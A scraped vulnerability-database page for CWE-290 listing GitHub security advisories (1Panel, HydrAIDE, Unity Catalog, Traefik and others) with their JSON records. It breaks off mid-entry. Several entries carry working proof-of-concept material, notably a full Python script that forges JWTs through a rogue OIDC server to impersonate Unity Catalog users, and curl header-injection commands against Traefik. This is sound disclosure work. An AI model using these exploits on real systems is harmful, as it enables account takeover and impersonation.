CWE-290
AllowedAuthentication Bypass by Spoofing
Abstraction: Base · Status: Incomplete
This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.
1110 vulnerabilities reference this CWE, most recent first.
GHSA-QJ7Q-8P84-WF4Q
Vulnerability from github – Published: 2025-05-15 06:31 – Updated: 2025-05-15 06:31The HttpAuth plugin in pGina.Fork through 3.9.9.12 allows authentication bypass when an adversary controls DNS resolution for pginaloginserver.
{
"affected": [],
"aliases": [
"CVE-2025-48027"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-15T06:15:37Z",
"severity": "MODERATE"
},
"details": "The HttpAuth plugin in pGina.Fork through 3.9.9.12 allows authentication bypass when an adversary controls DNS resolution for pginaloginserver.",
"id": "GHSA-qj7q-8p84-wf4q",
"modified": "2025-05-15T06:31:13Z",
"published": "2025-05-15T06:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48027"
},
{
"type": "WEB",
"url": "https://github.com/MutonUfoAI/pgina/blob/1922de0fe27492c09d2f188c2c7e54a4b364bbad/Plugins/HttpAuth/HttpAuth/Settings.cs#L44"
},
{
"type": "WEB",
"url": "https://github.com/kwburns/CVE/blob/main/pGina.Fork/3.9.9.12/README.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QMF3-4G6F-3FJV
Vulnerability from github – Published: 2025-04-30 18:31 – Updated: 2025-04-30 21:31An app could impersonate system notifications. Sensitive notifications now require restricted entitlements. This issue is fixed in iOS 18.3 and iPadOS 18.3, iPadOS 17.7.3. An app may be able to cause a denial-of-service.
{
"affected": [],
"aliases": [
"CVE-2025-24091"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-30T18:15:39Z",
"severity": "MODERATE"
},
"details": "An app could impersonate system notifications. Sensitive notifications now require restricted entitlements. This issue is fixed in iOS 18.3 and iPadOS 18.3, iPadOS 17.7.3. An app may be able to cause a denial-of-service.",
"id": "GHSA-qmf3-4g6f-3fjv",
"modified": "2025-04-30T21:31:48Z",
"published": "2025-04-30T18:31:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24091"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121838"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/122066"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QMG5-V42X-QQHQ
Vulnerability from github – Published: 2025-12-08 17:56 – Updated: 2025-12-09 19:19Summary
A CAPTCHA bypass vulnerability in the 1Panel authentication API allows an unauthenticated attacker to disable CAPTCHA verification by abusing a client-controlled parameter. Because the server previously trusted this value without proper validation, CAPTCHA protections could be bypassed, enabling automated login attempts and significantly increasing the risk of account takeover (ATO).
Details
The /api/login endpoint accepts a boolean field named ignoreCaptcha directly from the client request body:
"ignoreCaptcha": true
The backend implementation uses this value to determine whether CAPTCHA validation should be performed:
if !req.IgnoreCaptcha {
if errMsg := captcha.VerifyCode(req.CaptchaID, req.Captcha); errMsg != "" {
helper.BadAuth(c, errMsg, nil)
return
}
}
Because req.IgnoreCaptcha is taken directly from user input—with no server-side validation, no session binding, and no privilege checks—any unauthenticated attacker can force CAPTCHA validation to be skipped.
There are no additional conditions, such as:
no requirement for MFA
no trusted device
no IP reputation checks
no prior valid session
no rate limiting
This results in CAPTCHA being entirely client-controlled, which violates fundamental authentication and anti-automation security assumptions.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/1Panel-dev/1Panel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/1Panel-dev/1Panel/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20251128030527-ac43f00273be"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66507"
],
"database_specific": {
"cwe_ids": [
"CWE-290",
"CWE-602",
"CWE-807"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-08T17:56:27Z",
"nvd_published_at": "2025-12-09T16:18:19Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA CAPTCHA bypass vulnerability in the 1Panel authentication API allows an unauthenticated attacker to disable CAPTCHA verification by abusing a client-controlled parameter. Because the server previously trusted this value without proper validation, CAPTCHA protections could be bypassed, enabling automated login attempts and significantly increasing the risk of account takeover (ATO).\n\n### Details\n\nThe /api/login endpoint accepts a boolean field named ignoreCaptcha directly from the client request body:\n\n`\"ignoreCaptcha\": true`\n\n\nThe backend implementation uses this value to determine whether CAPTCHA validation should be performed:\n\n```\nif !req.IgnoreCaptcha {\n if errMsg := captcha.VerifyCode(req.CaptchaID, req.Captcha); errMsg != \"\" {\n helper.BadAuth(c, errMsg, nil)\n return\n }\n}\n\n```\n\nBecause req.IgnoreCaptcha is taken directly from user input\u2014with no server-side validation, no session binding, and no privilege checks\u2014any unauthenticated attacker can force CAPTCHA validation to be skipped.\n\nThere are no additional conditions, such as:\n\nno requirement for MFA\n\nno trusted device\n\nno IP reputation checks\n\nno prior valid session\n\nno rate limiting\n\nThis results in CAPTCHA being entirely client-controlled, which violates fundamental authentication and anti-automation security assumptions.",
"id": "GHSA-qmg5-v42x-qqhq",
"modified": "2025-12-09T19:19:10Z",
"published": "2025-12-08T17:56:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-qmg5-v42x-qqhq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66507"
},
{
"type": "WEB",
"url": "https://github.com/1Panel-dev/1Panel/commit/ac43f00273be745f8d04b90b6e2b9c1a40ef7bca"
},
{
"type": "PACKAGE",
"url": "https://github.com/1Panel-dev/1Panel"
},
{
"type": "WEB",
"url": "https://github.com/1Panel-dev/1Panel/releases/tag/v2.0.14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "1Panel \u2013 CAPTCHA Bypass via Client-Controlled Flag "
}
GHSA-QP7J-X725-G67F
Vulnerability from github – Published: 2025-08-19 15:34 – Updated: 2025-08-29 20:37Summary
There is no authentication of any kind.
Details
TLS is implemented, the tunnel between the client and server is secure, however once data is on the server, it's free to be read by any adversaries.
On the client side : https://github.com/hydraide/hydraide/blob/main/sdk/go/hydraidego/client/client.go#L221 It should be using a TLS Config with RootCAs and Certificates, currently RootCAs only (under NewClientTLSFromFile)
And on the server side, there should be ClientCAs and ClientAuth filled.
PoC
To bypass as is, the simplest way is to take the client and modify the code as such :
Modified from https://github.com/hydraide/hydraide/blob/main/sdk/go/hydraidego/client/client.go#L209
// hostOnly := strings.Split(server.Host, ":")[0]
// creds, certErr := credentials.NewClientTLSFromFile(server.CertFilePath, hostOnly)
// if certErr != nil {
// slog.Error("error while loading TLS credentials: ", "error", certErr, "server", server.Host, "fromIsland", server.FromIsland, "toIsland", server.ToIsland)
// errorMessages = append(errorMessages, certErr)
// }
var opts []grpc.DialOption
tlsConfig := &tls.Config{
InsecureSkipVerify: true,
}
creds := credentials.NewTLS(tlsConfig)
opts = append(opts, grpc.WithTransportCredentials(creds))
Impact
It impacts everyone who think there is any kind of authentication.
Resolution
This vulnerability has been fully fixed in server/v2.2.1 together with hydraidectl/v0.2.1.
All users are strongly advised to upgrade:
- Update to hydraidectl v0.2.1
- Re-initialize server instances with hydraidectl init into a new folder. This generates the required certificate files, downloads the latest binaries, and sets up the necessary environment variables.
For migration help, join the community Discord: https://discord.gg/xE2YSkzFRm or open a GitHub Discussion. If anything does not work, please report it.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/hydraide/hydraide"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.1"
},
{
"fixed": "2.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/hydraide/hydraide"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20250816184905-1256db38c33c"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-19T15:34:48Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nThere is no authentication of any kind.\n\n\n### Details\nTLS is implemented, the tunnel between the client and server is secure, however once data is on the server, it\u0027s free to be read by any adversaries.\n\nOn the client side : https://github.com/hydraide/hydraide/blob/main/sdk/go/hydraidego/client/client.go#L221\nIt should be using a TLS Config with RootCAs and Certificates, currently RootCAs only (under NewClientTLSFromFile)\n\nAnd on the server side, there should be ClientCAs and ClientAuth filled.\n\n### PoC\nTo bypass as is, the simplest way is to take the client and modify the code as such : \n\nModified from https://github.com/hydraide/hydraide/blob/main/sdk/go/hydraidego/client/client.go#L209\n```go\n\t\t\t// hostOnly := strings.Split(server.Host, \":\")[0]\n\t\t\t// creds, certErr := credentials.NewClientTLSFromFile(server.CertFilePath, hostOnly)\n\t\t\t// if certErr != nil {\n\t\t\t// \tslog.Error(\"error while loading TLS credentials: \", \"error\", certErr, \"server\", server.Host, \"fromIsland\", server.FromIsland, \"toIsland\", server.ToIsland)\n\t\t\t// \terrorMessages = append(errorMessages, certErr)\n\t\t\t// }\n\t\t\tvar opts []grpc.DialOption\n\t\t\ttlsConfig := \u0026tls.Config{\n\t\t\t\tInsecureSkipVerify: true,\n\t\t\t}\n\t\t\tcreds := credentials.NewTLS(tlsConfig)\n\t\t\topts = append(opts, grpc.WithTransportCredentials(creds))\n```\n\n### Impact\nIt impacts everyone who think there is any kind of authentication.\n\n---\n\n## Resolution\n\nThis vulnerability has been fully fixed in server/v2.2.1 together with hydraidectl/v0.2.1.\n\nAll users are strongly advised to upgrade:\n\n1. Update to hydraidectl v0.2.1\n2. Re-initialize server instances with hydraidectl init into a new folder. This generates the required certificate files, downloads the latest binaries, and sets up the necessary environment variables.\n\nFor migration help, join the community Discord: https://discord.gg/xE2YSkzFRm or open a GitHub Discussion.\nIf anything does not work, please report it.",
"id": "GHSA-qp7j-x725-g67f",
"modified": "2025-08-29T20:37:10Z",
"published": "2025-08-19T15:34:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/hydraide/hydraide/security/advisories/GHSA-qp7j-x725-g67f"
},
{
"type": "WEB",
"url": "https://github.com/hydraide/hydraide/commit/b252554a811400a81951dc9f959b99077f187975#diff-63efbc8179fff403eb5cc642407b33c0fb21aea2c84baaf5e5223f76f5d75f55"
},
{
"type": "PACKAGE",
"url": "https://github.com/hydraide/hydraide"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-3895"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "HydrAIDE Authentication Bypass Vulnerability"
}
GHSA-QP7W-47RC-M64M
Vulnerability from github – Published: 2025-02-18 00:31 – Updated: 2025-02-18 00:31Authentication bypass by spoofing issue exists in FileMegane versions above 1.0.0.0 prior to 3.4.0.0, which may lead to user impersonation. If exploited, restricted file contents may be accessed.
{
"affected": [],
"aliases": [
"CVE-2025-25055"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-18T00:15:21Z",
"severity": "MODERATE"
},
"details": "Authentication bypass by spoofing issue exists in FileMegane versions above 1.0.0.0 prior to 3.4.0.0, which may lead to user impersonation. If exploited, restricted file contents may be accessed.",
"id": "GHSA-qp7w-47rc-m64m",
"modified": "2025-02-18T00:31:42Z",
"published": "2025-02-18T00:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25055"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN80527854"
},
{
"type": "WEB",
"url": "https://www.info-brdg.co.jp/support/report/megane/sec20250201.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QQCJ-RGHW-829X
Vulnerability from github – Published: 2026-05-11 17:58 – Updated: 2026-05-11 17:58Context: A critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider.
Way to exploit:
An attacker can exploit this by: 1. Hosting their own OIDC-compliant server with a valid JWKS endpoint 2. Signing a JWT with their own private key, setting the iss claim to their server 3. Setting the sub/email claim to any known user in the Unity Catalog system 4. Exchanging this crafted token for a valid internal access token
This results in complete impersonation of any user in the system, granting access to all catalogs, schemas, tables, and other resources that user has permissions to.
Additionally, the implementation does not validate the audience (aud) claim, allowing tokens intended for other services to be used.
Example
Example implementation doing token exchange with a self hosted .well-known/openid-configuration and jwks endpoint.
This can be run with python3 main.py and TARGET_USER, UC_SERVER and PORT adjusted to the testing setup.
#!/usr/bin/env python3
"""Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version"""
import base64, secrets, threading, time
from datetime import datetime, timedelta, timezone
import jwt, requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from flask import Flask, jsonify
TARGET_USER = "user@example.com"
UC_SERVER = "http://localhost:8080"
PORT = 8888
ISSUER = f"http://localhost:{PORT}"
# Generate RSA key pair
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
kid = secrets.token_hex(8)
# Create JWKS
pub = key.public_key().public_numbers()
def b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, "big")).rstrip(b"=").decode()
jwks = {"keys": [{"kty": "RSA", "use": "sig", "alg": "RS256", "kid": kid, "n": b64(pub.n), "e": b64(pub.e)}]}
# Create malicious JWT
token = jwt.encode(
{"iss": ISSUER, "sub": TARGET_USER, "email": TARGET_USER, "aud": "unity-catalog",
"iat": datetime.now(timezone.utc), "exp": datetime.now(timezone.utc) + timedelta(hours=1)},
key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()),
algorithm="RS256", headers={"kid": kid}
)
# Start minimal OIDC server
app = Flask(__name__)
app.logger.disabled = True
@app.route("/.well-known/openid-configuration")
def oidc(): return jsonify({"issuer": ISSUER, "jwks_uri": f"{ISSUER}/jwks"})
@app.route("/jwks")
def keys(): return jsonify(jwks)
threading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start()
time.sleep(1)
# Exchange token
resp = requests.post(f"{UC_SERVER}/api/1.0/unity-control/auth/tokens",
data={"grant_type": "urn:ietf:params:oauth:grant-type:token-exchange",
"requested_token_type": "urn:ietf:params:oauth:token-type:access_token",
"subject_token_type": "urn:ietf:params:oauth:token-type:id_token",
"subject_token": token})
if resp.status_code == 200:
access_token = resp.json()["access_token"]
print(f"[+] Got access token as '{TARGET_USER}'")
# Demo: list catalogs
catalogs = requests.get(f"{UC_SERVER}/api/2.1/unity-catalog/catalogs",
headers={"Authorization": f"Bearer {access_token}"})
print(catalogs.json())
else:
print(f"[-] Failed: {resp.status_code} {resp.text}")
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.0"
},
"package": {
"ecosystem": "Maven",
"name": "io.unitycatalog:unitycatalog-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27478"
],
"database_specific": {
"cwe_ids": [
"CWE-1390",
"CWE-290",
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T17:58:40Z",
"nvd_published_at": "2026-03-11T20:16:14Z",
"severity": "CRITICAL"
},
"details": "**Context:**\nA critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider.\n\n**Way to exploit:**\n\nAn attacker can exploit this by:\n1. Hosting their own OIDC-compliant server with a valid JWKS endpoint\n2. Signing a JWT with their own private key, setting the iss claim to their server\n3. Setting the sub/email claim to any known user in the Unity Catalog system\n4. Exchanging this crafted token for a valid internal access token\n\nThis results in complete impersonation of any user in the system, granting access to all catalogs, schemas, tables, and other resources that user has permissions to.\n\nAdditionally, the implementation does not validate the audience (aud) claim, allowing tokens intended for other services to be used.\n\n**Example**\n\nExample implementation doing token exchange with a self hosted `.well-known/openid-configuration` and `jwks` endpoint.\n\nThis can be run with `python3 main.py` and `TARGET_USER`, `UC_SERVER` and `PORT` adjusted to the testing setup.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version\"\"\"\n\nimport base64, secrets, threading, time\nfrom datetime import datetime, timedelta, timezone\nimport jwt, requests\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom flask import Flask, jsonify\n\nTARGET_USER = \"user@example.com\"\nUC_SERVER = \"http://localhost:8080\"\nPORT = 8888\nISSUER = f\"http://localhost:{PORT}\"\n\n# Generate RSA key pair\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\nkid = secrets.token_hex(8)\n\n# Create JWKS\npub = key.public_key().public_numbers()\ndef b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, \"big\")).rstrip(b\"=\").decode()\njwks = {\"keys\": [{\"kty\": \"RSA\", \"use\": \"sig\", \"alg\": \"RS256\", \"kid\": kid, \"n\": b64(pub.n), \"e\": b64(pub.e)}]}\n\n# Create malicious JWT\ntoken = jwt.encode(\n {\"iss\": ISSUER, \"sub\": TARGET_USER, \"email\": TARGET_USER, \"aud\": \"unity-catalog\",\n \"iat\": datetime.now(timezone.utc), \"exp\": datetime.now(timezone.utc) + timedelta(hours=1)},\n key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()),\n algorithm=\"RS256\", headers={\"kid\": kid}\n)\n\n# Start minimal OIDC server\napp = Flask(__name__)\napp.logger.disabled = True\n\n@app.route(\"/.well-known/openid-configuration\")\ndef oidc(): return jsonify({\"issuer\": ISSUER, \"jwks_uri\": f\"{ISSUER}/jwks\"})\n\n@app.route(\"/jwks\")\ndef keys(): return jsonify(jwks)\n\nthreading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start()\ntime.sleep(1)\n\n# Exchange token\nresp = requests.post(f\"{UC_SERVER}/api/1.0/unity-control/auth/tokens\",\n data={\"grant_type\": \"urn:ietf:params:oauth:grant-type:token-exchange\",\n \"requested_token_type\": \"urn:ietf:params:oauth:token-type:access_token\",\n \"subject_token_type\": \"urn:ietf:params:oauth:token-type:id_token\",\n \"subject_token\": token})\n\nif resp.status_code == 200:\n access_token = resp.json()[\"access_token\"]\n print(f\"[+] Got access token as \u0027{TARGET_USER}\u0027\")\n # Demo: list catalogs\n catalogs = requests.get(f\"{UC_SERVER}/api/2.1/unity-catalog/catalogs\",\n headers={\"Authorization\": f\"Bearer {access_token}\"})\n print(catalogs.json())\nelse:\n print(f\"[-] Failed: {resp.status_code} {resp.text}\")\n```",
"id": "GHSA-qqcj-rghw-829x",
"modified": "2026-05-11T17:58:40Z",
"published": "2026-05-11T17:58:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/unitycatalog/unitycatalog/security/advisories/GHSA-qqcj-rghw-829x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27478"
},
{
"type": "PACKAGE",
"url": "https://github.com/unitycatalog/unitycatalog"
},
{
"type": "WEB",
"url": "https://github.com/unitycatalog/unitycatalog/releases/tag/v0.4.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Unity Catalog has a JWT Issuer Validation Bypass tht Allows Complete User Impersonation"
}
GHSA-QR99-7898-VR7C
Vulnerability from github – Published: 2026-03-27 20:35 – Updated: 2026-03-27 20:35Summary
There is a potential vulnerability in Traefik's Basic and Digest authentication middlewares when headerField is configured with a non-canonical HTTP header name.
An authenticated attacker with valid credentials can inject the canonical version of the configured header to impersonate any identity to the backend. Because Traefik writes the authenticated username using a non-canonical map key, it creates a separate header entry rather than overwriting the attacker's canonical one — causing most backend frameworks to read the attacker-controlled value instead.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.42
- https://github.com/traefik/traefik/releases/tag/v3.6.12
- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3
For more information
If there are any questions or comments about this advisory, please open an issue.
Original Description ### Summary When `headerField` is configured with a non-canonical HTTP header name (e.g., `x-auth-user` instead of `X-Auth-User`), an authenticated attacker can inject a canonical version of that header to impersonate any identity to the backend. The backend receives two header entries — the attacker-injected canonical one is read first, overriding Traefik's non-canonical write. Tested on Traefik v3.6.10. ### Details At `pkg/middlewares/auth/basic_auth.go:92`, the authenticated username is written using direct map assignment:
req.Header[b.headerField] = []string{user}
middlewares:
auth:
basicAuth:
users: ["admin:$2y$05$..."]
headerField: "x-auth-user"
curl -u admin:admin http://traefik/secure/test
# Backend receives: x-auth-user: admin
# Identity = admin ✓
curl -u admin:admin -H "X-Auth-User: superadmin" http://traefik/secure/test
# Backend receives BOTH headers:
# X-Auth-User: superadmin ← attacker-injected (canonical key, read first by most frameworks)
# x-auth-user: admin ← Traefik-set (non-canonical, ignored by most frameworks)
# Identity seen by backend = superadmin ✗
// basic_auth.go:92 and digest_auth.go:100 — change:
req.Header[b.headerField] = []string{user}
// to:
req.Header.Set(b.headerField, user)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.42"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 3.6.11"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0-beta1"
},
{
"fixed": "3.6.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0-ea.1"
},
{
"fixed": "3.7.0-ea.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33433"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T20:35:53Z",
"nvd_published_at": "2026-03-27T15:16:54Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThere is a potential vulnerability in Traefik\u0027s Basic and Digest authentication middlewares when `headerField` is configured with a non-canonical HTTP header name.\n\nAn authenticated attacker with valid credentials can inject the canonical version of the configured header to impersonate any identity to the backend. Because Traefik writes the authenticated username using a non-canonical map key, it creates a separate header entry rather than overwriting the attacker\u0027s canonical one \u2014 causing most backend frameworks to read the attacker-controlled value instead.\n\n## Patches\n\n- \u003chttps://github.com/traefik/traefik/releases/tag/v2.11.42\u003e\n- \u003chttps://github.com/traefik/traefik/releases/tag/v3.6.12\u003e\n- \u003chttps://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3\u003e\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n\nWhen `headerField` is configured with a non-canonical HTTP header name (e.g., `x-auth-user` instead of `X-Auth-User`), an authenticated attacker can inject a canonical version of that header to impersonate any identity to the backend. The backend receives two header entries \u2014 the attacker-injected canonical one is read first, overriding Traefik\u0027s non-canonical write.\n\nTested on Traefik v3.6.10.\n\n### Details\n\nAt `pkg/middlewares/auth/basic_auth.go:92`, the authenticated username is written using direct map assignment:\n\n```go\nreq.Header[b.headerField] = []string{user}\n```\n\nGo\u0027s `http.Header` map is keyed by canonical names (e.g., `X-Auth-User`). Direct assignment with a non-canonical key (`x-auth-user`) creates a separate map entry from any canonical-key entry already present. The attacker\u0027s `X-Auth-User: superadmin` occupies the canonical slot and is never overwritten by Traefik\u0027s non-canonical write.\n\nThe same bug exists in `pkg/middlewares/auth/digest_auth.go:100`. Notably, `forward.go:254` correctly uses `http.CanonicalHeaderKey()`, showing the fix pattern already exists in the codebase.\n\n### PoC\n\n**Traefik config (YAML, Docker labels, or REST API):**\n\n```yaml\nmiddlewares:\n auth:\n basicAuth:\n users: [\"admin:$2y$05$...\"]\n headerField: \"x-auth-user\"\n```\n\n**Normal request (baseline):**\n\n```bash\ncurl -u admin:admin http://traefik/secure/test\n# Backend receives: x-auth-user: admin\n# Identity = admin \u2713\n```\n\n**Attack request:**\n\n```bash\ncurl -u admin:admin -H \"X-Auth-User: superadmin\" http://traefik/secure/test\n# Backend receives BOTH headers:\n# X-Auth-User: superadmin \u2190 attacker-injected (canonical key, read first by most frameworks)\n# x-auth-user: admin \u2190 Traefik-set (non-canonical, ignored by most frameworks)\n# Identity seen by backend = superadmin \u2717\n```\n\n**Control test** \u2014 when `headerField` uses canonical casing (`X-Auth-User`), the attack fails. Traefik\u0027s write correctly overwrites the attacker\u0027s header.\n\nThis is realistic because YAML conventions favor lowercase keys, Traefik docs don\u0027t warn about canonicalization, and the pattern of backends trusting the `headerField` header is recommended in Traefik\u0027s own documentation.\n\n**Fix suggestion:**\n\n```go\n// basic_auth.go:92 and digest_auth.go:100 \u2014 change:\nreq.Header[b.headerField] = []string{user}\n// to:\nreq.Header.Set(b.headerField, user)\n```\n\nAlso strip any incoming `headerField` header before the auth check with `req.Header.Del(b.headerField)`.\n\n### Impact\n\nAn authenticated attacker with valid credentials (even low-privilege) can impersonate any other user identity to backend services. If backends use the `headerField` header for authorization decisions (which is the intended use case per Traefik docs), this enables privilege escalation \u2014 e.g., a regular user impersonating an admin.\n\nThe attack requires the operator to configure `headerField` with a non-canonical header name, which is the natural thing to do in YAML and is not warned against in documentation.\n\n\u003c/details\u003e",
"id": "GHSA-qr99-7898-vr7c",
"modified": "2026-03-27T20:35:53Z",
"published": "2026-03-27T20:35:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-qr99-7898-vr7c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33433"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.42"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.6.11"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Traefik Vulnerable to BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField"
}
GHSA-QV8J-45V4-24PJ
Vulnerability from github – Published: 2022-05-13 01:43 – Updated: 2022-05-13 01:43The OhMiBod Remote app for Android and iOS allows remote attackers to impersonate users by sniffing network traffic for search responses from the OhMiBod API server and then editing the username, user_id, and token fields in data/data/com.ohmibod.remote2/shared_prefs/OMB.xml.
{
"affected": [],
"aliases": [
"CVE-2017-14487"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-12-01T17:29:00Z",
"severity": "CRITICAL"
},
"details": "The OhMiBod Remote app for Android and iOS allows remote attackers to impersonate users by sniffing network traffic for search responses from the OhMiBod API server and then editing the username, user_id, and token fields in data/data/com.ohmibod.remote2/shared_prefs/OMB.xml.",
"id": "GHSA-qv8j-45v4-24pj",
"modified": "2022-05-13T01:43:25Z",
"published": "2022-05-13T01:43:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14487"
},
{
"type": "WEB",
"url": "https://dl.acm.org/citation.cfm?id=3139942\u0026preflayout=flat"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QVV5-JQ5G-4CGG
Vulnerability from github – Published: 2026-06-10 19:33 – Updated: 2026-06-10 19:33Impact
